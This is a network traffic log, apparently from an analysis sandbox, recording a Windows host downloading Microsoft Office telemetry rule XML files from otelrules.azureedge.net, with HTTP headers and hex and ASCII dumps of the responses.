2024-11-25 23:08:59 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:58 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:59 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: e7f827c2-101e-005a-4855-3d882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230859Z-174c587ffdfmrvb9hC1TEBtn3800000006m000000000exyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:59 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:59 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:59 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: b11cdbee-501e-007b-73b7-3e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230859Z-178bfbc474bmqmgjhC1NYCy16c0000000870000000009ry3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:59 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:00 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:00 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: feca15c4-801e-007b-0469-3fe7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230900Z-178bfbc474bv7whqhC1NYC1fg4000000084g00000000af6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:00 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:00 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:00 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:00 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 5b744128-c01e-00a1-5b39-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230900Z-15b8b599d88tr2flhC1TEB5gk400000006u0000000002ht3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:00 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:00 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:01 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: ab1afa94-201e-0085-151a-3d34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230901Z-178bfbc474bp8mkvhC1NYCzqnn00000007v000000000sn09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:01 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:01 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:01 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:01 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 150e742e-301e-0033-3994-3bfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230901Z-15b8b599d88pxmdghC1TEBux9c00000006ng00000000mhqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:01 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:01 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:01 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: a6ee8c45-701e-0053-78c6-3e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230901Z-178bfbc474bnwsh4hC1NYC2ubs00000008900000000047c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:02 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:02 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:02 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: d9c0f4e5-701e-0032-6bdd-3ea540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230902Z-174c587ffdf4zw2thC1TEBu34000000006kg00000000tvdq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:03 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:02 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:02 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 6d8f64b9-901e-005b-763b-3c2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230902Z-178bfbc474bnwsh4hC1NYC2ubs000000086000000000c813 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:03 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:03 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:03 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:03 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: afa98cfc-701e-003e-2a3c-3c79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230903Z-178bfbc474bxkclvhC1NYC69g4000000082000000000c4gf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 23:09:03 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:03 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:09:03 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:09:03 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8c2dcc7a-801e-0035-158c-3b752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230903Z-174c587ffdf8fcgwhC1TEBnn7000000006pg00000000t66q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:09:03 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:09:03 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
